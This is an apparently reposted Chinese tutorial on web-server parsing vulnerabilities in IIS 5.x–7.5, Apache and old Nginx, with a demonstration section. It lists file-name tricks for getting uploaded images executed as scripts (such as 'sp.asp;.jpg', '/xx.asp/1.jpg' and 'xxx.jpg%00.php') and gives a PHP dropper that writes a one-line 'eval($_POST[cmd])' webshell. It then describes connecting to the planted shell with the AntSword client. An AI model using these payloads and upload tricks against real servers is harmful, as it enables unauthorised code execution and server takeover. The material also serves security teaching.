中间件的解析漏洞详解及演示

   日期:2020-08-20     浏览:94    评论:0    
核心提示:解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。该漏洞一般配合服务器的文件上传功能使用,以获取服务器的权限。

本文转自行云博客https://www.xy586.top/

文章目录

      • IIS5.x-6.x解析漏洞
      • Apache
      • IIS 7.0/IIS 7.5/nginx 0.8.3解析漏洞
      • Nginx <0.8.03 空字节代码执行漏洞
      • 演示
        • IIS6.0解析漏洞
        • Nginx 漏洞
        • Apache解析漏洞

解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。该漏洞一般配合服务器的文件上传功能使用,以获取服务器的权限。

类型:

  1. IIS 5.x/6.0解析漏洞

  2. IIS 7.0/IIS 7.5/

  3. Nginx <0.8.3畸形解析漏洞

  4. Nginx <8.03 空字节代码执行漏洞

  5. Apache解析漏洞

IIS5.x-6.x解析漏洞

利用方法

IIS6.0 默认的可执行文件除了asp还包含这三种

/sp.asa

/sp.cer

/sp.cdx

1.目录解析

/xx.asp/xx.jpg

2.文件解析

sp.asp;.jpg

第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

例如创建目录 sp.asp,那么

/sp.asp/1.jpg

将被当作asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。

第二种,在IIS6.0下,分号后面的不被解析,也就是说

sp.asp;.jpg

会被服务器看成是sp.asp

Apache

漏洞原理

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 sec.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把sec.php.owf.rar解析成php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个sec.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

IIS 7.0/IIS 7.5/nginx 0.8.3解析漏洞

在默认Fast-CGI开启状况下,黑客上传一个名字为sp.jpg,内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>

的文件,然后访问sp.jpg/.php,在这个目录下就会生成一句话木马 shell.php

Nginx <0.8.03 空字节代码执行漏洞

影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

Nginx在图片中嵌入PHP代码然后通过访问

xxx.jpg%00.php

来执行其中的代码

演示

IIS6.0解析漏洞

1.上传23.asa;jpg文件

蚁剑连接成功

2.将23.asa;jpg文件改名为23.jpg,并放到1.asp目录下访问,然后使用蚁剑连接

Nginx 漏洞

上传一个图片马,里面含有代码
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>
该木马会在上传后,运用Apache的解析漏洞再次访问时生成一个shell.php木马

访问该图片,并在末尾加上/.php

生成shell.php

蚁剑去连接该shell.php

Apache解析漏洞

上传带一句话木马的1.php.q.w.d文件

蚁剑连接

 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服